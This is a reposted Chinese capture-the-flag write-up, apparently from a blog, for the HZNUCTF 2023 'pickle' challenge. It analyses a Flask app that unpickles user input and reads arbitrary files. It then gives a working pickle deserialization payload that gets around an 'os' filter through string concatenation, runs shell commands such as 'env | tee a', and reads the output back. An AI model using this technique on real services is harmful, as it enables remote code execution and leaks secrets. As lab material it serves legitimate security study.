欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > [HZNUCTF 2023 preliminary]pickle

[HZNUCTF 2023 preliminary]pickle

2025/3/14 16:50:16 来源:https://blog.csdn.net/2301_80243833/article/details/141612988  浏览:    关键词:[HZNUCTF 2023 preliminary]pickle

[HZNUCTF 2023 preliminary]pickle

点开之后源码如下:

import base64
import pickle
from flask import Flask, requestapp = Flask(__name__)@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"@app.route('/readFile', methods=['GET'])
def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0')

接着我们对代码进行分析:

base64:用于进行 Base64 编码和解码操作。

pickle:Python 的对象序列化和反序列化模块,可以将 Python 对象转换为字节流进行存储或传输,也可以从字节流中恢复对象。

Flask:一个轻量级的 Web 应用框架,用于快速构建 Web 应用程序。

request:用于处理 Flask 应用中的 HTTP 请求数据。

  1. / 路由:
@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()

这个路由函数在用户访问根路径(/)时被调用。它打开当前目录下的 app.py 文件,并读取文件内容返回给客户端。

  1. calc 路由:
@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"

这个路由函数响应 GET 请求到 /calc 路径。它从请求的参数中获取名为 payload 的值,然后对这个值进行以下操作:

首先使用 base64.b64decode 对 payload 进行 Base64 解码。

接着使用 .replace(b’os’, b’') 将解码后的字节串中的 os 替换为空字节串。

最后使用 pickle.loads 尝试反序列化处理后的字节串。如果这个字节串不是合法的序列化对象,或者在反序列化过程中出现问题,可能会引发错误。最后返回字符串 “ganbadie!”。

  1. /readFile 路由:
@app.route('/readFile', methods=['GET'])
def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()

这个路由函数响应 GET 请求到 /readFile 路径。它从请求的参数中获取名为 filename 的值,然后将这个值中的 “flag” 替换为 “???”。接着尝试打开这个文件名对应的文件进行读取,并将文件内容返回给客户端。如果文件名不合法或者文件不存在,可能会引发错误。

if __name__ == '__main__':app.run(host='0.0.0.0')

这部分代码确保只有当脚本直接运行时才会启动 Flask 应用。app.run(host=‘0.0.0.0’) 表示应用将在所有网络接口上监听请求。

这里用os字符串拼接绕过:

import pickle  
import base64  class rayi(object):  
def __reduce__(self):  
#return eval,("__import__('o'+'s').system('ls / | tee a')",)  
return eval,("__import__('o'+'s').system('env | tee a')",)  a=rayi()  
print(pickle.dumps(a))  
print(base64.b64encode(pickle.dumps(a)))

def reduce(self):定义了特殊方法__reduce__。这个方法在对象被pickle模块序列化时会被调用。它应该返回一个可调用对象和一个参数元组,用于在反序列化时重建对象。

return eval,(“import(‘o’+‘s’).system(‘env | tee a’)”,):这里返回一个元组,包含两个元素。

运行代码之后得到:

在这里插入图片描述然后我们构造payload:

/readFile?filename=a 

运行之后得到:

在这里插入图片描述假的flag ,接着我们在环境变量中成功找到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词